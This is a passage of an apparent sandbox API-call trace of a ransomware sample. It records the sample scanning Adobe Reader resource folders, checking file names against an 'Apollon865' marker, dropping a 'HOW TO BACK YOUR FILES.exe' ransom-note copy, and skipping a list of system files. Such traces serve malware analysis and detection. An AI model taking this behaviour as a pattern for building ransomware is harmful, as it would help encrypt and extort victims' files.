	[0057.308] lstrcpyW (in: lpString1=0x2d3e5ea, lpString2="DisplayLanguageNames.it_IT.txt" | out: lpString1="DisplayLanguageNames.it_IT.txt") returned="DisplayLanguageNames.it_IT.txt"
	[0057.308] lstrlenW (lpString="DisplayLanguageNames.it_IT.txt") returned 30
	[0057.308] lstrlenW (lpString="Apollon865") returned 10
	[0057.308] lstrcmpiW (lpString1=".it_IT.txt", lpString2="Apollon865") returned -1
	[0057.308] lstrcpyW (in: lpString1=0x2d3e5ea, lpString2="DisplayLanguageNames.it_IT_PREEURO.txt" | out: lpString1="DisplayLanguageNames.it_IT_PREEURO.txt") returned="DisplayLanguageNames.it_IT_PREEURO.txt"
	[0057.308] lstrlenW (lpString="DisplayLanguageNames.it_IT_PREEURO.txt") returned 38
	[0057.308] lstrlenW (lpString="Apollon865") returned 10
	[0057.308] lstrcmpiW (lpString1="REEURO.txt", lpString2="Apollon865") returned 1
	[0057.308] lstrcpyW (in: lpString1=0x2d3e5ea, lpString2="DisplayLanguageNames.ja.txt" | out: lpString1="DisplayLanguageNames.ja.txt") returned="DisplayLanguageNames.ja.txt"
	[0057.308] lstrlenW (lpString="DisplayLanguageNames.ja.txt") returned 27
	[0057.309] lstrlenW (lpString="Apollon865") returned 10
	[0057.309] lstrcmpiW (lpString1="mes.ja.txt", lpString2="Apollon865") returned 1
	[0057.309] lstrcpyW (in: lpString1=0x2d3e5ea, lpString2="DisplayLanguageNames.ja_JP.txt" | out: lpString1="DisplayLanguageNames.ja_JP.txt") returned="DisplayLanguageNames.ja_JP.txt"
	[0057.309] lstrlenW (lpString="DisplayLanguageNames.ja_JP.txt") returned 30
	[0057.309] lstrlenW (lpString="Apollon865") returned 10
	[0057.309] lstrcmpiW (lpString1=".ja_JP.txt", lpString2="Apollon865") returned -1
	[0057.309] lstrcpyW (in: lpString1=0x2d3e5ea, lpString2="DisplayLanguageNames.ja_JP_TRADITIONAL.txt" | out: lpString1="DisplayLanguageNames.ja_JP_TRADITIONAL.txt") returned="DisplayLanguageNames.ja_JP_TRADITIONAL.txt"
	[0057.309] lstrlenW (lpString="DisplayLanguageNames.ja_JP_TRADITIONAL.txt") returned 42
	[0057.309] lstrlenW (lpString="Apollon865") returned 10
	[0057.309] lstrcmpiW (lpString1="TIONAL.txt", lpString2="Apollon865") returned 1
	[0057.309] lstrcpyW (in: lpString1=0x2d3e5ea, lpString2="DisplayLanguageNames.ko.txt" | out: lpString1="DisplayLanguageNames.ko.txt") returned="DisplayLanguageNames.ko.txt"
	[0057.309] lstrlenW (lpString="DisplayLanguageNames.ko.txt") returned 27
	[0057.309] lstrlenW (lpString="Apollon865") returned 10
	[0057.309] lstrcmpiW (lpString1="mes.ko.txt", lpString2="Apollon865") returned 1
	[0057.309] lstrcpyW (in: lpString1=0x2d3e5ea, lpString2="DisplayLanguageNames.ko_KR.txt" | out: lpString1="DisplayLanguageNames.ko_KR.txt") returned="DisplayLanguageNames.ko_KR.txt"
	[0057.309] lstrlenW (lpString="DisplayLanguageNames.ko_KR.txt") returned 30
	[0057.309] lstrlenW (lpString="Apollon865") returned 10
	[0057.309] lstrcmpiW (lpString1=".ko_KR.txt", lpString2="Apollon865") returned -1
	[0057.309] lstrcpyW (in: lpString1=0x2d3e5ea, lpString2="DisplayLanguageNames.lt.txt" | out: lpString1="DisplayLanguageNames.lt.txt") returned="DisplayLanguageNames.lt.txt"
	[0057.309] lstrlenW (lpString="DisplayLanguageNames.lt.txt") returned 27
	[0057.309] lstrlenW (lpString="Apollon865") returned 10
	[0057.309] lstrcmpiW (lpString1="mes.lt.txt", lpString2="Apollon865") returned 1
	[0057.309] lstrcpyW (in: lpString1=0x2d3e5ea, lpString2="DisplayLanguageNames.lt_LT.txt" | out: lpString1="DisplayLanguageNames.lt_LT.txt") returned="DisplayLanguageNames.lt_LT.txt"
	[0057.310] lstrlenW (lpString="DisplayLanguageNames.lt_LT.txt") returned 30
	[0057.310] lstrlenW (lpString="Apollon865") returned 10
	[0057.310] lstrcmpiW (lpString1=".lt_LT.txt", lpString2="Apollon865") returned -1
	[0057.310] lstrcpyW (in: lpString1=0x2d3e5ea, lpString2="DisplayLanguageNames.lv.txt" | out: lpString1="DisplayLanguageNames.lv.txt") returned="DisplayLanguageNames.lv.txt"
	[0057.310] lstrlenW (lpString="DisplayLanguageNames.lv.txt") returned 27
	[0057.310] lstrlenW (lpString="Apollon865") returned 10
	[0057.310] lstrcmpiW (lpString1="mes.lv.txt", lpString2="Apollon865") returned 1
	[0057.310] lstrcpyW (in: lpString1=0x2d3e5ea, lpString2="DisplayLanguageNames.lv_LV.txt" | out: lpString1="DisplayLanguageNames.lv_LV.txt") returned="DisplayLanguageNames.lv_LV.txt"
	[0057.310] lstrlenW (lpString="DisplayLanguageNames.lv_LV.txt") returned 30
	[0057.310] lstrlenW (lpString="Apollon865") returned 10
	[0057.310] lstrcmpiW (lpString1=".lv_LV.txt", lpString2="Apollon865") returned -1
	[0057.310] lstrcpyW (in: lpString1=0x2d3e5ea, lpString2="DisplayLanguageNames.nb.txt" | out: lpString1="DisplayLanguageNames.nb.txt") returned="DisplayLanguageNames.nb.txt"
	[0057.310] lstrlenW (lpString="DisplayLanguageNames.nb.txt") returned 27
	[0057.310] lstrlenW (lpString="Apollon865") returned 10
	[0057.310] lstrcmpiW (lpString1="mes.nb.txt", lpString2="Apollon865") returned 1
	[0057.310] lstrcpyW (in: lpString1=0x2d3e5ea, lpString2="DisplayLanguageNames.nb_NO.txt" | out: lpString1="DisplayLanguageNames.nb_NO.txt") returned="DisplayLanguageNames.nb_NO.txt"
	[0057.310] lstrlenW (lpString="DisplayLanguageNames.nb_NO.txt") returned 30
	[0057.310] lstrlenW (lpString="Apollon865") returned 10
	[0057.310] lstrcmpiW (lpString1=".nb_NO.txt", lpString2="Apollon865") returned -1
	[0057.310] lstrcpyW (in: lpString1=0x2d3e5ea, lpString2="DisplayLanguageNames.nl.txt" | out: lpString1="DisplayLanguageNames.nl.txt") returned="DisplayLanguageNames.nl.txt"
	[0057.310] lstrlenW (lpString="DisplayLanguageNames.nl.txt") returned 27
	[0057.310] lstrlenW (lpString="Apollon865") returned 10
	[0057.310] lstrcmpiW (lpString1="mes.nl.txt", lpString2="Apollon865") returned 1
	[0057.310] lstrcpyW (in: lpString1=0x2d3e5ea, lpString2="DisplayLanguageNames.nl_BE.txt" | out: lpString1="DisplayLanguageNames.nl_BE.txt") returned="DisplayLanguageNames.nl_BE.txt"
	[0057.311] lstrlenW (lpString="DisplayLanguageNames.nl_BE.txt") returned 30
	[0057.311] lstrlenW (lpString="Apollon865") returned 10
	[0057.311] lstrcmpiW (lpString1=".nl_BE.txt", lpString2="Apollon865") returned -1
	[0057.311] lstrcpyW (in: lpString1=0x2d3e5ea, lpString2="DisplayLanguageNames.nl_BE_PREEURO.txt" | out: lpString1="DisplayLanguageNames.nl_BE_PREEURO.txt") returned="DisplayLanguageNames.nl_BE_PREEURO.txt"
	[0057.311] lstrlenW (lpString="DisplayLanguageNames.nl_BE_PREEURO.txt") returned 38
	[0057.311] lstrlenW (lpString="Apollon865") returned 10
	[0057.311] lstrcmpiW (lpString1="REEURO.txt", lpString2="Apollon865") returned 1
	[0057.311] lstrcpyW (in: lpString1=0x2d3e5ea, lpString2="DisplayLanguageNames.nl_NL.txt" | out: lpString1="DisplayLanguageNames.nl_NL.txt") returned="DisplayLanguageNames.nl_NL.txt"
	[0057.311] lstrlenW (lpString="DisplayLanguageNames.nl_NL.txt") returned 30
	[0057.311] lstrlenW (lpString="Apollon865") returned 10
	[0057.311] lstrcmpiW (lpString1=".nl_NL.txt", lpString2="Apollon865") returned -1
	[0057.311] lstrcpyW (in: lpString1=0x2d3e5ea, lpString2="DisplayLanguageNames.nl_NL_PREEURO.txt" | out: lpString1="DisplayLanguageNames.nl_NL_PREEURO.txt") returned="DisplayLanguageNames.nl_NL_PREEURO.txt"
	[0057.311] lstrlenW (lpString="DisplayLanguageNames.nl_NL_PREEURO.txt") returned 38
	[0057.311] lstrlenW (lpString="Apollon865") returned 10
	[0057.311] lstrcmpiW (lpString1="REEURO.txt", lpString2="Apollon865") returned 1
	[0057.311] lstrcpyW (in: lpString1=0x2d3e5ea, lpString2="DisplayLanguageNames.nn_NO.txt" | out: lpString1="DisplayLanguageNames.nn_NO.txt") returned="DisplayLanguageNames.nn_NO.txt"
	[0057.311] lstrlenW (lpString="DisplayLanguageNames.nn_NO.txt") returned 30
	[0057.311] lstrlenW (lpString="Apollon865") returned 10
	[0057.311] lstrcmpiW (lpString1=".nn_NO.txt", lpString2="Apollon865") returned -1
	[0057.311] lstrcpyW (in: lpString1=0x2d3e5ea, lpString2="DisplayLanguageNames.pl.txt" | out: lpString1="DisplayLanguageNames.pl.txt") returned="DisplayLanguageNames.pl.txt"
	[0057.311] lstrlenW (lpString="DisplayLanguageNames.pl.txt") returned 27
	[0057.311] lstrlenW (lpString="Apollon865") returned 10
	[0057.311] lstrcmpiW (lpString1="mes.pl.txt", lpString2="Apollon865") returned 1
	[0057.311] lstrcpyW (in: lpString1=0x2d3e5ea, lpString2="DisplayLanguageNames.pl_PL.txt" | out: lpString1="DisplayLanguageNames.pl_PL.txt") returned="DisplayLanguageNames.pl_PL.txt"
	[0057.312] lstrlenW (lpString="DisplayLanguageNames.pl_PL.txt") returned 30
	[0057.312] lstrlenW (lpString="Apollon865") returned 10
	[0057.312] lstrcmpiW (lpString1=".pl_PL.txt", lpString2="Apollon865") returned -1
	[0057.312] lstrcpyW (in: lpString1=0x2d3e5ea, lpString2="DisplayLanguageNames.pt_BR.txt" | out: lpString1="DisplayLanguageNames.pt_BR.txt") returned="DisplayLanguageNames.pt_BR.txt"
	[0057.312] lstrlenW (lpString="DisplayLanguageNames.pt_BR.txt") returned 30
	[0057.312] lstrlenW (lpString="Apollon865") returned 10
	[0057.312] lstrcmpiW (lpString1=".pt_BR.txt", lpString2="Apollon865") returned -1
	[0057.312] lstrcpyW (in: lpString1=0x2d3e5ea, lpString2="DisplayLanguageNames.pt_PT.txt" | out: lpString1="DisplayLanguageNames.pt_PT.txt") returned="DisplayLanguageNames.pt_PT.txt"
	[0057.312] lstrlenW (lpString="DisplayLanguageNames.pt_PT.txt") returned 30
	[0057.312] lstrlenW (lpString="Apollon865") returned 10
	[0057.312] lstrcmpiW (lpString1=".pt_PT.txt", lpString2="Apollon865") returned -1
	[0057.312] lstrcpyW (in: lpString1=0x2d3e5ea, lpString2="DisplayLanguageNames.pt_PT_PREEURO.txt" | out: lpString1="DisplayLanguageNames.pt_PT_PREEURO.txt") returned="DisplayLanguageNames.pt_PT_PREEURO.txt"
	[0057.312] lstrlenW (lpString="DisplayLanguageNames.pt_PT_PREEURO.txt") returned 38
	[0057.312] lstrlenW (lpString="Apollon865") returned 10
	[0057.312] lstrcmpiW (lpString1="REEURO.txt", lpString2="Apollon865") returned 1
	[0057.312] lstrcpyW (in: lpString1=0x2d3e5ea, lpString2="DisplayLanguageNames.ro.txt" | out: lpString1="DisplayLanguageNames.ro.txt") returned="DisplayLanguageNames.ro.txt"
	[0057.312] lstrlenW (lpString="DisplayLanguageNames.ro.txt") returned 27
	[0057.312] lstrlenW (lpString="Apollon865") returned 10
	[0057.312] lstrcmpiW (lpString1="mes.ro.txt", lpString2="Apollon865") returned 1
	[0057.313] lstrcpyW (in: lpString1=0x2d3e5ea, lpString2="DisplayLanguageNames.ro_RO.txt" | out: lpString1="DisplayLanguageNames.ro_RO.txt") returned="DisplayLanguageNames.ro_RO.txt"
	[0057.313] lstrlenW (lpString="DisplayLanguageNames.ro_RO.txt") returned 30
	[0057.313] lstrlenW (lpString="Apollon865") returned 10
	[0057.313] lstrcmpiW (lpString1=".ro_RO.txt", lpString2="Apollon865") returned -1
	[0057.313] lstrcpyW (in: lpString1=0x2d3e5ea, lpString2="DisplayLanguageNames.ru.txt" | out: lpString1="DisplayLanguageNames.ru.txt") returned="DisplayLanguageNames.ru.txt"
	[0057.313] lstrlenW (lpString="DisplayLanguageNames.ru.txt") returned 27
	[0057.313] lstrlenW (lpString="Apollon865") returned 10
	[0057.313] lstrcmpiW (lpString1="mes.ru.txt", lpString2="Apollon865") returned 1
	[0057.313] lstrcpyW (in: lpString1=0x2d3e5ea, lpString2="DisplayLanguageNames.ru_RU.txt" | out: lpString1="DisplayLanguageNames.ru_RU.txt") returned="DisplayLanguageNames.ru_RU.txt"
	[0057.313] lstrlenW (lpString="DisplayLanguageNames.ru_RU.txt") returned 30
	[0057.313] lstrlenW (lpString="Apollon865") returned 10
	[0057.313] lstrcmpiW (lpString1=".ru_RU.txt", lpString2="Apollon865") returned -1
	[0057.313] lstrcpyW (in: lpString1=0x2d3e5ea, lpString2="DisplayLanguageNames.ru_UA.txt" | out: lpString1="DisplayLanguageNames.ru_UA.txt") returned="DisplayLanguageNames.ru_UA.txt"
	[0057.313] lstrlenW (lpString="DisplayLanguageNames.ru_UA.txt") returned 30
	[0057.313] lstrlenW (lpString="Apollon865") returned 10
	[0057.313] lstrcmpiW (lpString1=".ru_UA.txt", lpString2="Apollon865") returned -1
	[0057.313] lstrcpyW (in: lpString1=0x2d3e5ea, lpString2="DisplayLanguageNames.sk.txt" | out: lpString1="DisplayLanguageNames.sk.txt") returned="DisplayLanguageNames.sk.txt"
	[0057.313] lstrlenW (lpString="DisplayLanguageNames.sk.txt") returned 27
	[0057.313] lstrlenW (lpString="Apollon865") returned 10
	[0057.313] lstrcmpiW (lpString1="mes.sk.txt", lpString2="Apollon865") returned 1
	[0057.313] lstrcpyW (in: lpString1=0x2d3e5ea, lpString2="DisplayLanguageNames.sk_SK.txt" | out: lpString1="DisplayLanguageNames.sk_SK.txt") returned="DisplayLanguageNames.sk_SK.txt"
	[0057.313] lstrlenW (lpString="DisplayLanguageNames.sk_SK.txt") returned 30
	[0057.313] lstrlenW (lpString="Apollon865") returned 10
	[0057.313] lstrcmpiW (lpString1=".sk_SK.txt", lpString2="Apollon865") returned -1
	[0057.314] lstrcpyW (in: lpString1=0x2d3e5ea, lpString2="DisplayLanguageNames.sl.txt" | out: lpString1="DisplayLanguageNames.sl.txt") returned="DisplayLanguageNames.sl.txt"
	[0057.314] lstrlenW (lpString="DisplayLanguageNames.sl.txt") returned 27
	[0057.314] lstrlenW (lpString="Apollon865") returned 10
	[0057.314] lstrcmpiW (lpString1="mes.sl.txt", lpString2="Apollon865") returned 1
	[0057.314] lstrcpyW (in: lpString1=0x2d3e5ea, lpString2="DisplayLanguageNames.sl_SI.txt" | out: lpString1="DisplayLanguageNames.sl_SI.txt") returned="DisplayLanguageNames.sl_SI.txt"
	[0057.314] lstrlenW (lpString="DisplayLanguageNames.sl_SI.txt") returned 30
	[0057.314] lstrlenW (lpString="Apollon865") returned 10
	[0057.314] lstrcmpiW (lpString1=".sl_SI.txt", lpString2="Apollon865") returned -1
	[0057.314] lstrcpyW (in: lpString1=0x2d3e5ea, lpString2="DisplayLanguageNames.sv.txt" | out: lpString1="DisplayLanguageNames.sv.txt") returned="DisplayLanguageNames.sv.txt"
	[0057.314] lstrlenW (lpString="DisplayLanguageNames.sv.txt") returned 27
	[0057.314] lstrlenW (lpString="Apollon865") returned 10
	[0057.314] lstrcmpiW (lpString1="mes.sv.txt", lpString2="Apollon865") returned 1
	[0057.314] lstrcpyW (in: lpString1=0x2d3e5ea, lpString2="DisplayLanguageNames.sv_FI.txt" | out: lpString1="DisplayLanguageNames.sv_FI.txt") returned="DisplayLanguageNames.sv_FI.txt"
	[0057.314] lstrlenW (lpString="DisplayLanguageNames.sv_FI.txt") returned 30
	[0057.314] lstrlenW (lpString="Apollon865") returned 10
	[0057.314] lstrcmpiW (lpString1=".sv_FI.txt", lpString2="Apollon865") returned -1
	[0057.314] lstrcpyW (in: lpString1=0x2d3e5ea, lpString2="DisplayLanguageNames.sv_SE.txt" | out: lpString1="DisplayLanguageNames.sv_SE.txt") returned="DisplayLanguageNames.sv_SE.txt"
	[0057.314] lstrlenW (lpString="DisplayLanguageNames.sv_SE.txt") returned 30
	[0057.314] lstrlenW (lpString="Apollon865") returned 10
	[0057.314] lstrcmpiW (lpString1=".sv_SE.txt", lpString2="Apollon865") returned -1
	[0057.314] lstrcpyW (in: lpString1=0x2d3e5ea, lpString2="DisplayLanguageNames.tr.txt" | out: lpString1="DisplayLanguageNames.tr.txt") returned="DisplayLanguageNames.tr.txt"
	[0057.314] lstrlenW (lpString="DisplayLanguageNames.tr.txt") returned 27
	[0057.314] lstrlenW (lpString="Apollon865") returned 10
	[0057.314] lstrcmpiW (lpString1="mes.tr.txt", lpString2="Apollon865") returned 1
	[0057.315] lstrcpyW (in: lpString1=0x2d3e5ea, lpString2="DisplayLanguageNames.tr_TR.txt" | out: lpString1="DisplayLanguageNames.tr_TR.txt") returned="DisplayLanguageNames.tr_TR.txt"
	[0057.315] lstrlenW (lpString="DisplayLanguageNames.tr_TR.txt") returned 30
	[0057.315] lstrlenW (lpString="Apollon865") returned 10
	[0057.315] lstrcmpiW (lpString1=".tr_TR.txt", lpString2="Apollon865") returned -1
	[0057.315] lstrcpyW (in: lpString1=0x2d3e5ea, lpString2="DisplayLanguageNames.uk.txt" | out: lpString1="DisplayLanguageNames.uk.txt") returned="DisplayLanguageNames.uk.txt"
	[0057.315] lstrlenW (lpString="DisplayLanguageNames.uk.txt") returned 27
	[0057.315] lstrlenW (lpString="Apollon865") returned 10
	[0057.315] lstrcmpiW (lpString1="mes.uk.txt", lpString2="Apollon865") returned 1
	[0057.315] lstrcpyW (in: lpString1=0x2d3e5ea, lpString2="DisplayLanguageNames.uk_UA.txt" | out: lpString1="DisplayLanguageNames.uk_UA.txt") returned="DisplayLanguageNames.uk_UA.txt"
	[0057.316] lstrlenW (lpString="DisplayLanguageNames.uk_UA.txt") returned 30
	[0057.316] lstrlenW (lpString="Apollon865") returned 10
	[0057.316] lstrcmpiW (lpString1=".uk_UA.txt", lpString2="Apollon865") returned -1
	[0057.316] lstrcpyW (in: lpString1=0x2d3e5ea, lpString2="DisplayLanguageNames.zh_CN.txt" | out: lpString1="DisplayLanguageNames.zh_CN.txt") returned="DisplayLanguageNames.zh_CN.txt"
	[0057.316] lstrlenW (lpString="DisplayLanguageNames.zh_CN.txt") returned 30
	[0057.316] lstrlenW (lpString="Apollon865") returned 10
	[0057.316] lstrcmpiW (lpString1=".zh_CN.txt", lpString2="Apollon865") returned -1
	[0057.316] lstrcpyW (in: lpString1=0x2d3e5ea, lpString2="DisplayLanguageNames.zh_TW.txt" | out: lpString1="DisplayLanguageNames.zh_TW.txt") returned="DisplayLanguageNames.zh_TW.txt"
	[0057.316] lstrlenW (lpString="DisplayLanguageNames.zh_TW.txt") returned 30
	[0057.317] lstrlenW (lpString="Apollon865") returned 10
	[0057.317] lstrcmpiW (lpString1=".zh_TW.txt", lpString2="Apollon865") returned -1
	[0057.317] lstrcpyW (in: lpString1=0x2d3e5ea, lpString2="DisplayLanguageNames.zh_TW_STROKE.txt" | out: lpString1="DisplayLanguageNames.zh_TW_STROKE.txt") returned="DisplayLanguageNames.zh_TW_STROKE.txt"
	[0057.317] lstrlenW (lpString="DisplayLanguageNames.zh_TW_STROKE.txt") returned 37
	[0057.317] lstrlenW (lpString="Apollon865") returned 10
	[0057.317] lstrcmpiW (lpString1="STROKE.txt", lpString2="Apollon865") returned 1
	[0057.317] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font"
	[0057.317] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0057.317] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7968 | out: hHeap=0x580000) returned 1
	[0057.317] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font") returned 54
	[0057.317] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font"
	[0057.317] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0057.317] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\font\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0057.325] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0057.325] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f556b40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x3a3d6fb0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3a3d6fb0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0057.327] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0057.327] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0057.327] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0057.327] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f556b40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x3a3d6fb0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3a3d6fb0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0057.328] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0057.328] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0057.328] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0057.328] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0057.328] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x835c1ea0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x37e7c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AdobeArabic-Bold.otf", cAlternateFileName="ADOBEA~2.OTF")) returned 1
	[0057.329] lstrcmpiW (lpString1="AdobeArabic-Bold.otf", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0057.329] lstrcmpiW (lpString1="AdobeArabic-Bold.otf", lpString2="Apollon865.txt.exe") returned -1
	[0057.329] lstrcmpiW (lpString1="AdobeArabic-Bold.otf", lpString2=".") returned 1
	[0057.329] lstrcmpiW (lpString1="AdobeArabic-Bold.otf", lpString2="..") returned 1
	[0057.329] lstrcmpiW (lpString1="AdobeArabic-Bold.otf", lpString2="windows") returned -1
	[0057.329] lstrcmpiW (lpString1="AdobeArabic-Bold.otf", lpString2="bootmgr") returned -1
	[0057.329] lstrcmpiW (lpString1="AdobeArabic-Bold.otf", lpString2="temp") returned -1
	[0057.329] lstrcmpiW (lpString1="AdobeArabic-Bold.otf", lpString2="pagefile.sys") returned -1
	[0057.329] lstrcmpiW (lpString1="AdobeArabic-Bold.otf", lpString2="boot") returned -1
	[0057.329] lstrcmpiW (lpString1="AdobeArabic-Bold.otf", lpString2="ids.txt") returned -1
	[0057.329] lstrcmpiW (lpString1="AdobeArabic-Bold.otf", lpString2="ntuser.dat") returned -1
	[0057.329] lstrcmpiW (lpString1="AdobeArabic-Bold.otf", lpString2="perflogs") returned -1
	[0057.329] lstrcmpiW (lpString1="AdobeArabic-Bold.otf", lpString2="MSBuild") returned -1
	[0057.329] lstrlenW (lpString="AdobeArabic-Bold.otf") returned 20
	[0057.329] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\*") returned 56
	[0057.329] lstrcpyW (in: lpString1=0x2d3e5be, lpString2="AdobeArabic-Bold.otf" | out: lpString1="AdobeArabic-Bold.otf") returned="AdobeArabic-Bold.otf"
	[0057.329] lstrlenW (lpString="AdobeArabic-Bold.otf") returned 20
	[0057.329] lstrlenW (lpString="Apollon865") returned 10
	[0057.329] lstrcmpiW (lpString1="c-Bold.otf", lpString2="Apollon865") returned 1
	[0057.329] lstrcpyW (in: lpString1=0x2d3e5be, lpString2="AdobeArabic-BoldItalic.otf" | out: lpString1="AdobeArabic-BoldItalic.otf") returned="AdobeArabic-BoldItalic.otf"
	[0057.329] lstrlenW (lpString="AdobeArabic-BoldItalic.otf") returned 26
	[0057.329] lstrlenW (lpString="Apollon865") returned 10
	[0057.329] lstrcmpiW (lpString1="Italic.otf", lpString2="Apollon865") returned 1
	[0057.329] lstrcpyW (in: lpString1=0x2d3e5be, lpString2="AdobeArabic-Italic.otf" | out: lpString1="AdobeArabic-Italic.otf") returned="AdobeArabic-Italic.otf"
	[0057.329] lstrlenW (lpString="AdobeArabic-Italic.otf") returned 22
	[0057.329] lstrlenW (lpString="Apollon865") returned 10
	[0057.329] lstrcmpiW (lpString1="Italic.otf", lpString2="Apollon865") returned 1
	[0057.329] lstrcpyW (in: lpString1=0x2d3e5be, lpString2="AdobeArabic-Regular.otf" | out: lpString1="AdobeArabic-Regular.otf") returned="AdobeArabic-Regular.otf"
	[0057.330] lstrlenW (lpString="AdobeArabic-Regular.otf") returned 23
	[0057.330] lstrlenW (lpString="Apollon865") returned 10
	[0057.330] lstrcmpiW (lpString1="egular.otf", lpString2="Apollon865") returned 1
	[0057.330] lstrcpyW (in: lpString1=0x2d3e5be, lpString2="AdobeHebrew-Bold.otf" | out: lpString1="AdobeHebrew-Bold.otf") returned="AdobeHebrew-Bold.otf"
	[0057.330] lstrlenW (lpString="AdobeHebrew-Bold.otf") returned 20
	[0057.330] lstrlenW (lpString="Apollon865") returned 10
	[0057.330] lstrcmpiW (lpString1="w-Bold.otf", lpString2="Apollon865") returned 1
	[0057.330] lstrcpyW (in: lpString1=0x2d3e5be, lpString2="AdobeHebrew-BoldItalic.otf" | out: lpString1="AdobeHebrew-BoldItalic.otf") returned="AdobeHebrew-BoldItalic.otf"
	[0057.330] lstrlenW (lpString="AdobeHebrew-BoldItalic.otf") returned 26
	[0057.330] lstrlenW (lpString="Apollon865") returned 10
	[0057.330] lstrcmpiW (lpString1="Italic.otf", lpString2="Apollon865") returned 1
	[0057.330] lstrcpyW (in: lpString1=0x2d3e5be, lpString2="AdobeHebrew-Italic.otf" | out: lpString1="AdobeHebrew-Italic.otf") returned="AdobeHebrew-Italic.otf"
	[0057.330] lstrlenW (lpString="AdobeHebrew-Italic.otf") returned 22
	[0057.330] lstrlenW (lpString="Apollon865") returned 10
	[0057.330] lstrcmpiW (lpString1="Italic.otf", lpString2="Apollon865") returned 1
	[0057.330] lstrcpyW (in: lpString1=0x2d3e5be, lpString2="AdobeHebrew-Regular.otf" | out: lpString1="AdobeHebrew-Regular.otf") returned="AdobeHebrew-Regular.otf"
	[0057.330] lstrlenW (lpString="AdobeHebrew-Regular.otf") returned 23
	[0057.330] lstrlenW (lpString="Apollon865") returned 10
	[0057.330] lstrcmpiW (lpString1="egular.otf", lpString2="Apollon865") returned 1
	[0057.330] lstrcpyW (in: lpString1=0x2d3e5be, lpString2="AdobePiStd.otf" | out: lpString1="AdobePiStd.otf") returned="AdobePiStd.otf"
	[0057.330] lstrlenW (lpString="AdobePiStd.otf") returned 14
	[0057.330] lstrlenW (lpString="Apollon865") returned 10
	[0057.330] lstrcmpiW (lpString1="ePiStd.otf", lpString2="Apollon865") returned 1
	[0057.331] lstrcpyW (in: lpString1=0x2d3e5be, lpString2="AdobeThai-Bold.otf" | out: lpString1="AdobeThai-Bold.otf") returned="AdobeThai-Bold.otf"
	[0057.331] lstrlenW (lpString="AdobeThai-Bold.otf") returned 18
	[0057.331] lstrlenW (lpString="Apollon865") returned 10
	[0057.331] lstrcmpiW (lpString1="i-Bold.otf", lpString2="Apollon865") returned 1
	[0057.331] lstrcpyW (in: lpString1=0x2d3e5be, lpString2="AdobeThai-BoldItalic.otf" | out: lpString1="AdobeThai-BoldItalic.otf") returned="AdobeThai-BoldItalic.otf"
	[0057.331] lstrlenW (lpString="AdobeThai-BoldItalic.otf") returned 24
	[0057.331] lstrlenW (lpString="Apollon865") returned 10
	[0057.331] lstrcmpiW (lpString1="Italic.otf", lpString2="Apollon865") returned 1
